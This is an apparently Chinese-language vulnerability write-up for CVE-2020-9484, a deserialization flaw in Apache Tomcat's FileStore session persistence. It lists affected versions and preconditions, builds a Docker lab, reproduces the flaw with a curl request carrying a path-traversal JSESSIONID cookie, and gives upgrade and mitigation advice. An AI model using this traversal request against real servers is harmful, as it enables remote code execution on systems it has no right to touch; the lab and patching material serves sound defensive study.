一、漏洞简介
Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。当Tomcat使用了自带session同步功能时,使用不安全的配置(没有使用EncryptInterceptor)会存在反序列化漏洞,攻击者通过精心构造的数据包,可以对使用了自带session同步功能的Tomcat服务器进行攻击。
影响版本
Apache Tomcat 10.0.0-M1—10.0.0-M4
Apache Tomcat 9.0.0.M1—9.0.34
Apache Tomcat 8.5.0—8.5.54
Apache Tomcat 7.0.0—7.0.103
二、漏洞分析
1、攻击者能够控制服务器上文件的内容和文件名称;
2、服务器PersistenceManager配置中使用了FileStore;
3、PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象;
4、攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径;
三、环境搭建
1、使用docker构建靶场
git clone https://github.com/masahiro331/CVE-2020-9484.git
cd CVE-2020-9484
docker build -t tomcat:groovy .
docker run -d -p 8080:8080 tomcat:groovy

2、打开网站 ip:8080

四、漏洞复现
curl ' http://192.168.24.4:8080/index.jsp ' -H 'Cookie:JSESSIONID=../../../../../usr/local/tomcat/groovy'

进入容器:
docker exec -it 66e9fc6113c1 /bin/bash
发现已经新创建了文件 rce

五、漏洞修复
升级到 Apache Tomcat 10.0.0-M5 及以上版本
升级到 Apache Tomcat 9.0.35 及以上版本
升级到 Apache Tomcat 8.5.55 及以上版本
升级到 Apache Tomcat 7.0.104 及以上版本
临时修补建议:
禁止使用Session持久化功能FileStore。
禁止使用Session持久化功能FileStore。